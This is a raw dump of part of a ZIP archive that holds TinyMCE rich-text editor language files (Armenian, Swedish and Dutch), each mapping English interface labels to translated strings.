"Flags": "\u0534\u0580\u0578\u0577\u0576\u0565\u0580",
"Characters": "\u0546\u056b\u0577\u0565\u0580",
"Characters (no spaces)": "\u0546\u056b\u0577\u0565\u0580 (\u0562\u0561\u0581\u0561\u057f\u0576\u0565\u0580)",
"{0} characters": "{0} \u0576\u056b\u0577\u0565\u0580",
"Error: Form submit field collision.": "\u054d\u056d\u0561\u056c\u0589 \u0541\u0587\u0568 \u0570\u0561\u057d\u057f\u0561\u057f\u0565\u056c\u0578\u0582\u0581 \u0564\u0561\u0577\u057f\u056b \u0562\u0561\u056d\u0578\u0582\u0574:",
"Error: No form element found.": "\u054d\u056d\u0561\u056c\u0589 \u0541\u0587\u056b \u0578\u0579 \u0574\u056b \u057f\u0561\u0580\u0580 \u0579\u056b \u0563\u057f\u0576\u057e\u0565\u056c:",
"Update": "\u0539\u0561\u0580\u0574\u0561\u0581\u0576\u0565\u056c",
"Color swatch": "\u0533\u0578\u0582\u0575\u0576\u056b \u0583\u0578\u056d\u0561\u0576\u0561\u056f\u0578\u0582\u0574",
"Turquoise": "\u0553\u056b\u0580\u0578\u0582\u0566\u0561\u0563\u0578\u0582\u0575\u0576",
"Green": "\u053f\u0561\u0576\u0561\u0579",
"Blue": "\u053f\u0561\u057a\u0578\u0582\u0575\u057f",
"Purple": "\u0544\u0561\u0576\u0578\u0582\u0577\u0561\u056f\u0561\u0563\u0578\u0582\u0575\u0576",
"Navy Blue": "\u0544\u0578\u0582\u0563 \u056f\u0561\u057a\u0578\u0582\u0575\u057f",
"Dark Turquoise": "\u0544\u0578\u0582\u0563 \u0583\u056b\u0580\u0578\u0582\u0566\u0561\u0563\u0578\u0582\u0575\u0576",
"Dark Green": "\u0544\u0578\u0582\u0563 \u056f\u0561\u0576\u0561\u0579",
"Medium Blue": "\u0544\u056b\u057b\u056b\u0576 \u056f\u0561\u057a\u0578\u0582\u0575\u057f",
"Medium Purple": "\u0544\u056b\u057b\u056b\u0576 \u0574\u0561\u0576\u0578\u0582\u0577\u0561\u056f\u0561\u0563\u0578\u0582\u0575\u0576",
"Midnight Blue": "\u053f\u0565\u057d\u0563\u056b\u0577\u0565\u0580\u0561\u0575\u056b\u0576 \u056f\u0561\u057a\u0578\u0582\u0575\u057f",
"Yellow": "\u0534\u0565\u0572\u056b\u0576",
"Orange": "\u0546\u0561\u0580\u0576\u057b\u0561\u0563\u0578\u0582\u0575\u0576",
"Red": "\u053f\u0561\u0580\u0574\u056b\u0580",
"Light Gray": "\u0532\u0561\u0581 \u0574\u0578\u056d\u0580\u0561\u0563\u0578\u0582\u0575\u0576",
"Gray": "\u0544\u0578\u056d\u0580\u0561\u0563\u0578\u0582\u0575\u0576",
"Dark Yellow": "\u0544\u0578\u0582\u0563 \u0564\u0565\u0572\u056b\u0576",
"Dark Orange": "\u0544\u0578\u0582\u0563 \u0576\u0561\u0580\u0576\u057b\u0561\u0563\u0578\u0582\u0575\u0576",
"Dark Red": "\u0544\u0578\u0582\u0563 \u056f\u0561\u0580\u0574\u056b\u0580",
"Medium Gray": "\u0544\u056b\u057b\u056b\u0576 \u0574\u0578\u056d\u0580\u0561\u0563\u0578\u0582\u0575\u0576",
"Dark Gray": "\u0544\u0578\u0582\u0563 \u0574\u0578\u056d\u0580\u0561\u0563\u0578\u0582\u0575\u0576",
"Light Green": "\u0532\u0561\u0581 \u056f\u0561\u0576\u0561\u0579",
"Light Yellow": "\u0532\u0561\u0581 \u0564\u0565\u0572\u056b\u0576",
"Light Red": "\u0532\u0561\u0581 \u056f\u0561\u0580\u0574\u056b\u0580",
"Light Purple": "\u0532\u0561\u0581 \u0574\u0561\u0576\u0578\u0582\u0577\u0561\u056f\u0561\u0563\u0578\u0582\u0575\u0576",
"Light Blue": "\u0532\u0561\u0581 \u056f\u0561\u057a\u0578\u0582\u0575\u057f",
"Dark Purple": "\u0544\u0578\u0582\u0563 \u0574\u0561\u0576\u0578\u0582\u0577\u0561\u056f\u0561\u0563\u0578\u0582\u0575\u0576",
"Dark Blue": "\u0544\u0578\u0582\u0563 \u056f\u0561\u057a\u0578\u0582\u0575\u057f",
"Black": "\u054d\u0587",
"White": "\u054d\u057a\u056b\u057f\u0561\u056f",
"Switch to or from fullscreen mode": "\u0531\u0576\u0581\u0565\u0584 \u0561\u0574\u0562\u0578\u0572\u057b \u0567\u056f\u0580\u0561\u0576\u056b\u0576 \u057c\u0565\u056a\u056b\u0574\u056b\u0581 \u056f\u0561\u0574 \u0561\u0574\u0562\u0578\u0572\u057b \u057c\u0565\u056a\u056b\u0574\u056b\u0581",
"Open help dialog": "\u0532\u0561\u0581\u0565\u056c \u0585\u0563\u0576\u0578\u0582\u0569\u0575\u0561\u0576 \u0565\u0580\u056f\u056d\u0578\u057d\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0568",
"history": "\u054a\u0561\u057f\u0574\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"styles": "\u0578\u0573\u0565\u0580\u0568",
"formatting": "\u0579\u0561\u0583\u0561\u0576\u0577\u0578\u0582\u0574",
"alignment": "\u0570\u0561\u057e\u0561\u057d\u0561\u0580\u0565\u0581\u0578\u0582\u0574",
"indentation": "\u056d\u0561\u0575\u0569\u0578\u0581",
"permanent pen": "\u0574\u0577\u057f\u0561\u056f\u0561\u0576 \u0563\u0580\u056b\u0579",
"comments": "\u0574\u0565\u056f\u0576\u0561\u0562\u0561\u0576\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580",
"Format Painter": "\u0541\u0587\u0561\u0579\u0561\u0583\u056b \u0576\u056f\u0561\u0580\u056b\u0579",
"Insert\/edit iframe": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u0584\/\u056d\u0574\u0562\u0561\u0563\u0580\u0565\u0584 iframe- \u0568",
"Capitalization": "\u0544\u0565\u056e\u0561\u057f\u0561\u057c",
"lowercase": "\u0553\u0578\u0584\u0580\u0561\u057f\u0561\u057c",
"UPPERCASE": "\u0544\u0535\u053e\u0531\u054f\u0531\u054c",
"Title Case": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 \u0533\u0578\u0580\u056e",
"Permanent Pen Properties": "\u0544\u0577\u057f\u0561\u056f\u0561\u0576 \u0563\u0580\u056b\u0579\u056b \u0570\u0561\u057f\u056f\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u0568",
"Permanent pen properties...": "\u0544\u0577\u057f\u0561\u056f\u0561\u0576 \u0563\u0580\u056b\u0579\u056b \u0570\u0561\u057f\u056f\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u0568\u2024\u2024\u2024",
"Font": "\u054f\u0561\u057c\u0561\u057f\u0565\u057d\u0561\u056f",
"Size": "\u0549\u0561\u0583\u057d",
"More...": "\u0531\u057e\u0565\u056c\u056b\u0576\u2024\u2024\u2024",
"Spellcheck Language": "\u0548\u0582\u0572\u0572\u0561\u0563\u0580\u0578\u0582\u0569\u0575\u0561\u0576 \u057d\u057f\u0578\u0582\u0563\u0574\u0561\u0576 \u056c\u0565\u0566\u0578\u0582",
"Select...": "\u0538\u0576\u057f\u0580\u0565\u056c\u2024\u2024\u2024",
"Preferences": "\u0546\u0561\u056d\u0561\u057a\u0561\u057f\u057e\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580",
"Yes": "\u0531\u0575\u0578",
"No": "\u0548\u0579",
"Keyboard Navigation": "\u054d\u057f\u0565\u0572\u0576\u0561\u0577\u0561\u0580\u056b \u0546\u0561\u057e\u056b\u0563\u0561\u0581\u056b\u0561",
"Version": "\u054f\u0561\u0580\u0562\u0565\u0580\u0561\u056f",
"Anchor": "\u053d\u0561\u0580\u056b\u057d\u056d",
"Special character": "\u0540\u0561\u057f\u0578\u0582\u056f \u057d\u056b\u0574\u057e\u0578\u056c\u0576\u0565\u0580",
"Code sample": "\u053f\u0578\u0564\u056b \u0585\u0580\u056b\u0576\u0561\u056f",
"Color": "\u0533\u0578\u0582\u0575\u0576",
"Emoticons": "\u054d\u0574\u0561\u0575\u056c\u056b\u056f\u0576\u0565\u0580",
"Document properties": "\u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u056b \u0570\u0561\u057f\u056f\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u0568",
"Image": "\u0546\u056f\u0561\u0580",
"Insert link": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u0570\u0572\u0578\u0582\u0574",
"Target": "\u0539\u056b\u0580\u0561\u056d",
"Link": "\u0540\u0572\u0578\u0582\u0574",
"Poster": "\u054a\u0561\u057d\u057f\u0561\u057c",
"Media": "\u0544\u0565\u0564\u056b\u0561",
"Print": "\u054f\u057a\u0565\u056c",
"Prev": "\u0546\u0561\u056d\u0578\u0580\u0564",
"Find and replace": "\u0553\u0576\u057f\u0580\u0565\u056c \u0587 \u0583\u0578\u056d\u0561\u0580\u056b\u0576\u0565\u056c",
"Whole words": "\u0532\u0561\u057c\u0565\u0580\u0568 \u0561\u0574\u0562\u0578\u0572\u057b\u0578\u0582\u0569\u0575\u0561\u0574\u0562",
"Spellcheck": "\u0548\u0582\u0572\u0572\u0561\u0563\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Caption": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580",
"Insert template": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u0571\u0587\u0561\u0576\u0574\u0578\u0582\u0577"
});PK
h�\��L";";!program/js/tinymce/langs/sv_SE.jsnu�[���tinymce.addI18n('sv_SE',{
"Redo": "G\u00f6r om",
"Undo": "\u00c5ngra",
"Cut": "Klipp ut",
"Copy": "Kopiera",
"Paste": "Klistra in",
"Select all": "Markera allt",
"New document": "Nytt dokument",
"Ok": "Ok",
"Cancel": "Avbryt",
"Visual aids": "Visuella hj\u00e4lpmedel",
"Bold": "Fet",
"Italic": "Kursiv",
"Underline": "Understruken",
"Strikethrough": "Genomstruken",
"Superscript": "Upph\u00f6jd",
"Subscript": "Neds\u00e4nkt",
"Clear formatting": "Rensa formatering",
"Align left": "V\u00e4nsterjustera",
"Align center": "Centrera",
"Align right": "H\u00f6gerjustera",
"Justify": "Verifiera",
"Bullet list": "Punktlista",
"Numbered list": "Nummerlista",
"Decrease indent": "Minska indrag",
"Increase indent": "\u00d6ka indrag",
"Close": "St\u00e4ng",
"Formats": "Format",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Din webbl\u00e4sare st\u00f6djer inte direkt \u00e5tkomst till klippboken. Anv\u00e4nd kortkommandona Ctrl\u00a0+\u00a0X\/C\/V i st\u00e4llet.",
"Headers": "Rubriker",
"Header 1": "Rubrik 1",
"Header 2": "Rubrik 2",
"Header 3": "Rubrik 3",
"Header 4": "Rubrik 4",
"Header 5": "Rubrik 5",
"Header 6": "Rubrik 6",
"Headings": "Rubriker",
"Heading 1": "Rubrik 1",
"Heading 2": "Rubrik 2",
"Heading 3": "Rubrik 3",
"Heading 4": "Rubrik 4",
"Heading 5": "Rubrik 5",
"Heading 6": "Rubrik 6",
"Preformatted": "F\u00f6rformaterad",
"Div": "Div",
"Pre": "Pre",
"Code": "Kod",
"Paragraph": "Avsnitt",
"Blockquote": "Blockquote",
"Inline": "Inline",
"Blocks": "Block",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Klistra in \u00e4r nu i textl\u00e4ge. Inneh\u00e5ll kommer att konverteras till text tills du sl\u00e5r av detta l\u00e4ge.",
"Fonts": "Typsnitt",
"Font Sizes": "Teckenstorlek",
"Class": "Klass",
"Browse for an image": "Bl\u00e4ddra efter en bild",
"OR": "OR",
"Drop an image here": "Sl\u00e4pp en bild h\u00e4r",
"Upload": "Ladda upp",
"Block": "Block",
"Align": "Justera",
"Default": "Original",
"Circle": "Cirkel",
"Disc": "Disk",
"Square": "Fyrkant",
"Lower Alpha": "Gemener",
"Lower Greek": "Grekiska gemener",
"Lower Roman": "Romerska gemener",
"Upper Alpha": "Versaler",
"Upper Roman": "Romerska versaler",
"Anchor...": "Ankare...",
"Name": "Namn",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id skall b\u00f6rja med en bokstav och f\u00f6ljande tecken ska vara bokst\u00e4ver, nummer, punkter, understr\u00e4ck eller kolon.",
"You have unsaved changes are you sure you want to navigate away?": "Du har f\u00f6r\u00e4ndringar som du inte har sparat. \u00c4r du s\u00e4ker p\u00e5 att du vill navigera vidare?",
"Restore last draft": "\u00c5terst\u00e4ll senaste utkast",
"Special character...": "Specialtecken...",
"Source code": "K\u00e4llkod",
"Insert\/Edit code sample": "Infoga\/Redigera k\u00e5d exempel",
"Language": "Spr\u00e5k",
"Code sample...": "Kodexempel...",
"Color Picker": "F\u00e4rgv\u00e4ljare",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "V\u00e4nster till h\u00f6ger",
"Right to left": "H\u00f6ger till v\u00e4nster",
"Emoticons...": "Emoticons...",
"Metadata and Document Properties": "Metadata och dokumentegenskaper",
"Title": "Titel",
"Keywords": "Nyckelord",
"Description": "Beskrivning",
"Robots": "Robotar",
"Author": "F\u00f6rfattare",
"Encoding": "Encoding",
"Fullscreen": "Fullsk\u00e4rm",
"Action": "H\u00e4ndelse",
"Shortcut": "Kortkommando",
"Help": "Hj\u00e4lp",
"Address": "Adress",
"Focus to menubar": "Fokusera p\u00e5 menyrad",
"Focus to toolbar": "Fokusera p\u00e5 verktygsrad",
"Focus to element path": "Fokusera p\u00e5 elements\u00f6kv\u00e4gsrad",
"Focus to contextual toolbar": "Fokusera p\u00e5 den kontextuella verktygsraden",
"Insert link (if link plugin activated)": "Infoga l\u00e4nk (om link-pluginet \u00e4r aktiverat)",
"Save (if save plugin activated)": "Spara (om save-pluginet \u00e4r aktiverat)",
"Find (if searchreplace plugin activated)": "S\u00f6k (om searchreplace-pluginet \u00e4r aktiverat)",
"Plugins installed ({0}):": "Installerade plugins ({0}):",
"Premium plugins:": "Premiumplugins:",
"Learn more...": "L\u00e4s mer...",
"You are using {0}": "Du anv\u00e4nder {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Kortkommandon",
"Horizontal line": "Horisontell linje",
"Insert\/edit image": "Infoga\/redigera bild",
"Image description": "Bildbeskrivning",
"Source": "K\u00e4lla",
"Dimensions": "Dimensioner",
"Constrain proportions": "Begr\u00e4nsa proportioner",
"General": "Generella",
"Advanced": "Avancerat",
"Style": "Stil",
"Vertical space": "Vertikaltutrymme",
"Horizontal space": "Horisontellt utrymme",
"Border": "Ram",
"Insert image": "Infoga bild",
"Image...": "Bild...",
"Image list": "Bildlista",
"Rotate counterclockwise": "Rotera moturs",
"Rotate clockwise": "Rotera medurs",
"Flip vertically": "Spegelv\u00e4nd vertikalt",
"Flip horizontally": "Spegelv\u00e4nd horisontellt",
"Edit image": "Redigera bild",
"Image options": "Bild inst\u00e4llningar",
"Zoom in": "Zooma in",
"Zoom out": "Zooma ut",
"Crop": "Besk\u00e4r",
"Resize": "Skala om",
"Orientation": "Orientera",
"Brightness": "Ljusstyrka",
"Sharpen": "Sk\u00e4rpa",
"Contrast": "Kontrast",
"Color levels": "F\u00e4rgniv\u00e5er",
"Gamma": "Gamma",
"Invert": "Invertera",
"Apply": "Applicera",
"Back": "Tillbaka",
"Insert date\/time": "Infoga datum\/tid",
"Date\/time": "Datum\/tid",
"Insert\/Edit Link": "Infoga\/redigera l\u00e4nk",
"Insert\/edit link": "Infoga\/redigera l\u00e4nk",
"Text to display": "Text att visa",
"Url": "Url",
"Open link in...": "\u00d6ppna l\u00e4nk i...",
"Current window": "Nuvarande f\u00f6nster",
"None": "Ingen",
"New window": "Nytt f\u00f6nster",
"Remove link": "Ta bort l\u00e4nk",
"Anchors": "Bokm\u00e4rken",
"Link...": "L\u00e4nk...",
"Paste or type a link": "Klistra in eller skriv en l\u00e4nk",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Urlen du angav verkar vara en epost adress. Vill du l\u00e4gga till ett mailto: prefix?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Urlen du angav verkar vara en extern l\u00e4nk. Vill du l\u00e4gga till http:\/\/ prefixet?",
"Link list": "L\u00e4nklista",
"Insert video": "Infoga video",
"Insert\/edit video": "Infoga\/redigera video",
"Insert\/edit media": "Infoga\/redigera media",
"Alternative source": "Alternativ k\u00e4lla",
"Alternative source URL": "Alternativ k\u00e4llwebbadress",
"Media poster (Image URL)": "Mediaposter (bildwebbadress)",
"Paste your embed code below:": "Klistra in din inb\u00e4ddningskod nedan:",
"Embed": "Inb\u00e4ddning",
"Media...": "Media...",
"Nonbreaking space": "Avbrottsfritt mellanrum",
"Page break": "Sidbrytning",
"Paste as text": "Klistra in som text",
"Preview": "F\u00f6rhandsgranska",
"Print...": "Skriv ut...",
"Save": "Spara",
"Find": "S\u00f6k",
"Replace with": "Ers\u00e4tt med",
"Replace": "Ers\u00e4tt",
"Replace all": "Ers\u00e4tt alla",
"Previous": "F\u00f6reg\u00e5ende",
"Next": "N\u00e4sta",
"Find and replace...": "S\u00f6k och ers\u00e4tt...",
"Could not find the specified string.": "Kunde inte hitta den specifierade st\u00e4ngen.",
"Match case": "Matcha gemener\/versaler",
"Find whole words only": "Hitta endast hela ord",
"Spell check": "Stavningskontroll",
"Ignore": "Ignorera",
"Ignore all": "Ignorera alla",
"Finish": "Avsluta",
"Add to Dictionary": "L\u00e4gg till i ordlista",
"Insert table": "Infoga tabell",
"Table properties": "Tabellegenskaper",
"Delete table": "Radera tabell",
"Cell": "Cell",
"Row": "Rad",
"Column": "Kolumn",
"Cell properties": "Cellegenskaper",
"Merge cells": "Sammanfoga celler",
"Split cell": "Bryt is\u00e4r celler",
"Insert row before": "Infoga rad f\u00f6re",
"Insert row after": "Infoga rad efter",
"Delete row": "Radera rad",
"Row properties": "Radegenskaper",
"Cut row": "Klipp ut rad",
"Copy row": "Kopiera rad",
"Paste row before": "Klista in rad f\u00f6re",
"Paste row after": "Klistra in rad efter",
"Insert column before": "Infoga kolumn f\u00f6re",
"Insert column after": "Infoga kolumn efter",
"Delete column": "Radera kolumn",
"Cols": "Kolumner",
"Rows": "Rader",
"Width": "Bredd",
"Height": "H\u00f6jd",
"Cell spacing": "Cellmellanrum",
"Cell padding": "Cellpaddning",
"Show caption": "Visa bildtext",
"Left": "V\u00e4nster",
"Center": "Centrum",
"Right": "H\u00f6ger",
"Cell type": "Celltyp",
"Scope": "Omf\u00e5ng",
"Alignment": "Justering",
"H Align": "H-justering",
"V Align": "V-justering",
"Top": "Toppen",
"Middle": "Mitten",
"Bottom": "Botten",
"Header cell": "Huvudcell",
"Row group": "Radgrupp",
"Column group": "Kolumngrupp",
"Row type": "Radtyp",
"Header": "Huvud",
"Body": "Kropp",
"Footer": "Fot",
"Border color": "Ramf\u00e4rg",
"Insert template...": "Infoga mall...",
"Templates": "Mallar",
"Template": "Mall",
"Text color": "Textf\u00e4rg",
"Background color": "Bakgrundsf\u00e4rg",
"Custom...": "Anpassad...",
"Custom color": "Anpassad f\u00e4rg",
"No color": "Ingen f\u00e4rg",
"Remove color": "Ta bort f\u00e4rg",
"Table of Contents": "Inneh\u00e5llsf\u00f6rteckning",
"Show blocks": "Visa block",
"Show invisible characters": "Visa onsynliga tecken",
"Word count": "Ordantal",
"Count": "Antal",
"Document": "Dokument",
"Selection": "Val",
"Words": "Ord",
"Words: {0}": "Ord: {0}",
"{0} words": "{0} ord",
"File": "Fil",
"Edit": "Redigera",
"Insert": "Infoga",
"View": "Visa",
"Format": "Format",
"Table": "Tabell",
"Tools": "Verktyg",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Textredigerare. Tryck ALT-F9 f\u00f6r menyn. Tryck ALT-F10 f\u00f6r verktygsrader. Tryck ALT-0 f\u00f6r hj\u00e4lp.",
"Image title": "Bildtitel",
"Border width": "Kantlinjebredd",
"Border style": "Kantlinjestil",
"Error": "Fel",
"Warn": "Varning",
"Valid": "Giltig",
"To open the popup, press Shift+Enter": "Tryck p\u00e5 Shift\u00a0+\u00a0Enter f\u00f6r att \u00f6ppna popup-f\u00f6nstret",
"Rich Text Area. Press ALT-0 for help.": "Omr\u00e5de med formaterad text. Tryck p\u00e5 ALT-0 f\u00f6r hj\u00e4lp.",
"System Font": "Systemtypsnitt",
"Failed to upload image: {0}": "Kunde inte ladda upp bild: {0}",
"Failed to load plugin: {0} from url {1}": "Kunde inte l\u00e4sa in insticksprogram: {0} fr\u00e5n webbadress {1}",
"Failed to load plugin url: {0}": "Kunde inte l\u00e4sa in webbadress f\u00f6r insticksprogram: {0}",
"Failed to initialize plugin: {0}": "Kunde inte initiera insticksprogram: {0}",
"example": "exempel",
"Search": "S\u00f6k",
"All": "Alla",
"Currency": "Valuta",
"Text": "Text",
"Quotations": "Citattecken",
"Mathematical": "Matematiskt",
"Extended Latin": "Ut\u00f6kad latin",
"Symbols": "Symboler",
"Arrows": "Pilar",
"User Defined": "Anv\u00e4ndardefinierade",
"dollar sign": "dollartecken",
"currency sign": "valutatecken",
"euro-currency sign": "eurotecken",
"colon sign": "kolon",
"cruzeiro sign": "cruzeirotecken",
"french franc sign": "franctecken",
"lira sign": "liratecken",
"mill sign": "milltecken",
"naira sign": "nairatecken",
"peseta sign": "pesetastecken",
"rupee sign": "rupeetecken",
"won sign": "wontecken",
"new sheqel sign": "schekeltecken",
"dong sign": "dongtecken",
"kip sign": "kiptecken",
"tugrik sign": "tugriktecken",
"drachma sign": "drachmertecken",
"german penny symbol": "tecken f\u00f6r tysk penny",
"peso sign": "pesotecken",
"guarani sign": "guaranitecken",
"austral sign": "australtecken",
"hryvnia sign": "hryvniatecken",
"cedi sign": "ceditecken",
"livre tournois sign": "tecken f\u00f6r livre tournois",
"spesmilo sign": "spesmilotecken",
"tenge sign": "tengetecken",
"indian rupee sign": "tecken f\u00f6r indisk rupee",
"turkish lira sign": "tecken f\u00f6r turkisk lira",
"nordic mark sign": "tecken f\u00f6r nordisk mark",
"manat sign": "manattecken",
"ruble sign": "rubeltecken",
"yen character": "yentecken",
"yuan character": "yuantecken",
"yuan character, in hong kong and taiwan": "yuantecken i Hongkong och Taiwan",
"yen\/yuan character variant one": "yen-\/yuantecken variant ett",
"Loading emoticons...": "L\u00e4ser in emoticons...",
"Could not load emoticons": "Kunde inte l\u00e4sa in emoticons",
"People": "M\u00e4nniskor",
"Animals and Nature": "Djur och natur",
"Food and Drink": "Mat och dryck",
"Activity": "Aktivitet",
"Travel and Places": "Resa och platser",
"Objects": "F\u00f6rem\u00e5l",
"Flags": "Flaggor",
"Characters": "Tecken",
"Characters (no spaces)": "Tecken (inga mellanrum)",
"{0} characters": "{0} tecken",
"Error: Form submit field collision.": "Fel: Kollision f\u00e4lt f\u00f6r s\u00e4ndning av formul\u00e4r.",
"Error: No form element found.": "Fel: Inget formul\u00e4relement hittades.",
"Update": "Uppdatera",
"Color swatch": "F\u00e4rgpalett",
"Turquoise": "Turkos",
"Green": "Gr\u00f6n",
"Blue": "Bl\u00e5",
"Purple": "Lila",
"Navy Blue": "M\u00f6rkbl\u00e5",
"Dark Turquoise": "M\u00f6rkturkos",
"Dark Green": "M\u00f6rkgr\u00f6n",
"Medium Blue": "Mellanbl\u00e5",
"Medium Purple": "Mellanlila",
"Midnight Blue": "Midnattsbl\u00e5",
"Yellow": "Gul",
"Orange": "Orange",
"Red": "R\u00f6d",
"Light Gray": "Ljusgr\u00e5",
"Gray": "Gr\u00e5",
"Dark Yellow": "M\u00f6rkgul",
"Dark Orange": "M\u00f6rkorange",
"Dark Red": "M\u00f6rkr\u00f6d",
"Medium Gray": "Mellangr\u00e5",
"Dark Gray": "M\u00f6rkgr\u00e5",
"Light Green": "Ljusgr\u00f6n",
"Light Yellow": "Ljusgul",
"Light Red": "Ljusr\u00f6d",
"Light Purple": "Ljuslila",
"Light Blue": "Ljusbl\u00e5",
"Dark Purple": "M\u00f6rklila",
"Dark Blue": "M\u00f6rkbl\u00e5",
"Black": "Svart",
"White": "Vit",
"Switch to or from fullscreen mode": "V\u00e4xla till eller fr\u00e5n fullsk\u00e4rmsl\u00e4ge",
"Open help dialog": "\u00d6ppna hj\u00e4lpdialogrutan",
"history": "historik",
"styles": "stilar",
"formatting": "formatering",
"alignment": "justering",
"indentation": "indragning",
"permanent pen": "permanent penna",
"comments": "kommentarer",
"Format Painter": "H\u00e4mta format",
"Insert\/edit iframe": "Infoga\/redigera iframe",
"Capitalization": "Versaler",
"lowercase": "gemener",
"UPPERCASE": "VERSALER",
"Title Case": "Inledande versal",
"Permanent Pen Properties": "Permanenta pennegenskaper",
"Permanent pen properties...": "Permanenta pennegenskaper\u00a0\u2026",
"Font": "Teckensnitt",
"Size": "Storlek",
"More...": "Mer...",
"Spellcheck Language": "Spr\u00e5k f\u00f6r stavningskontroll",
"Select...": "V\u00e4lj...",
"Preferences": "Inst\u00e4llningar",
"Yes": "Ja",
"No": "Nej",
"Keyboard Navigation": "Tangentbordsnavigering",
"Version": "Version",
"Anchor": "Ankare",
"Special character": "Specialtecken",
"Code sample": "K\u00e5dexempel",
"Color": "F\u00e4rg",
"Emoticons": "Emoticons",
"Document properties": "Dokumentegenskaper",
"Image": "Bild",
"Insert link": "Infoga l\u00e4nk",
"Target": "M\u00e5l",
"Link": "L\u00e4nk",
"Poster": "Affish",
"Media": "Media",
"Print": "Skriv ut",
"Prev": "F\u00f6reg\u00e5ende",
"Find and replace": "S\u00f6k och ers\u00e4tt",
"Whole words": "Hela ord",
"Spellcheck": "R\u00e4ttstava",
"Caption": "Rubrik",
"Insert template": "Infoga mall"
});PK
h�\X���LBLBprogram/js/tinymce/langs/nl.jsnu�[���tinymce.addI18n('nl',{
"Redo": "Opnieuw uitvoeren",
"Undo": "Ongedaan maken",
"Cut": "Knippen",
"Copy": "Kopi\u00ebren",
"Paste": "Plakken",
"Select all": "Alles selecteren",
"New document": "Nieuw document",
"Ok": "OK",
"Cancel": "Annuleren",
"Visual aids": " Visuele hulpmiddelen",
"Bold": "Vet",
"Italic": "Cursief",
"Underline": "Onderstrepen",
"Strikethrough": "Doorhalen",
"Superscript": "Superscript",
"Subscript": "Subscript",
"Clear formatting": "Opmaak wissen",
"Align left": "Links uitlijnen",
"Align center": "Centreren",
"Align right": "Rechts uitlijnen",
"Justify": "Uitvullen",
"Bullet list": "Lijst met opsommingstekens",
"Numbered list": "Genummerde lijst",
"Decrease indent": "Inspringing verkleinen",
"Increase indent": "Inspringing vergroten",
"Close": "Sluiten",
"Formats": "Opmaken",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Jouw browser ondersteunt geen rechtstreekse toegang tot het klembord. Gebruik in plaats daarvan de sneltoetsen Ctrl+X\/C\/V.",
"Headers": "Kopteksten",
"Header 1": "Koptekst 1",
"Header 2": "Koptekst 2",
"Header 3": "Koptekst 3",
"Header 4": "Koptekst 4",
"Header 5": "Koptekst 5",
"Header 6": "Koptekst 6",
"Headings": "Koppen",
"Heading 1": "Kop 1",
"Heading 2": "Kop 2",
"Heading 3": "Kop 3",
"Heading 4": "Kop 4",
"Heading 5": "Kop 5",
"Heading 6": "Kop 6",
"Preformatted": "Vooraf opgemaakt",
"Div": "Div",
"Pre": "Pre",
"Code": "Code",
"Paragraph": "Alinea",
"Blockquote": "Blockquote",
"Inline": "Inline",
"Blocks": "Blokken",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Plakken gebeurt nu als platte tekst. Tekst wordt nu ingevoegd zonder opmaak tot deze optie uitgeschakeld wordt.",
"Fonts": "Lettertypes",
"Font Sizes": "Tekengroottes",
"Class": "Klasse",
"Browse for an image": "Afbeelding zoeken",
"OR": "OF",
"Drop an image here": "Hier een afbeelding neerzetten",
"Upload": "Uploaden",
"Block": "Blok",
"Align": "Uitlijnen",
"Default": "Standaard",
"Circle": "Cirkel",
"Disc": "Bolletje",
"Square": "Vierkant",
"Lower Alpha": "Kleine letters",
"Lower Greek": "Griekse letters",
"Lower Roman": "Romeinse cijfers klein",
"Upper Alpha": "Hoofdletters",
"Upper Roman": "Romeinse cijfers groot",
"Anchor...": "Anker...",
"Name": "Naam",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "ID moet beginnen met een letter, gevolgd door letters, nummers, streepjes, punten, dubbele punten of underscores.",
"You have unsaved changes are you sure you want to navigate away?": "U hebt niet alles opgeslagen bent u zeker dat u de pagina wenst te verlaten?",
"Restore last draft": "Herstel het laatste concept",
"Special character...": "Speciaal teken...",
"Source code": "Broncode",
"Insert\/Edit code sample": "Broncode invoegen\/bewerken",
"Language": "Programmeertaal",
"Code sample...": "Codevoorbeeld...",
"Color Picker": "Kleurenkiezer",
"R": "Rood",
"G": "Groen",
"B": "Blauw",
"Left to right": "Links naar rechts",
"Right to left": "Rechts naar links",
"Emoticons": "Emoticons",
"Emoticons...": "Emoticons...",
"Metadata and Document Properties": "Metadata en documenteigenschappen",
"Title": "Titel",
"Keywords": "Sleutelwoorden",
"Description": "Omschrijving",
"Robots": "Robots",
"Author": "Auteur",
"Encoding": "Codering",
"Fullscreen": "Volledig scherm",
"Action": "Actie",
"Shortcut": "Snelkoppeling",
"Help": "Help",
"Address": "Adres",
"Focus to menubar": "Menubalk selecteren",
"Focus to toolbar": "Werkbalk selecteren",
"Focus to element path": "Element pad selecteren",
"Focus to contextual toolbar": "Contextuele werkbalk selecteren",
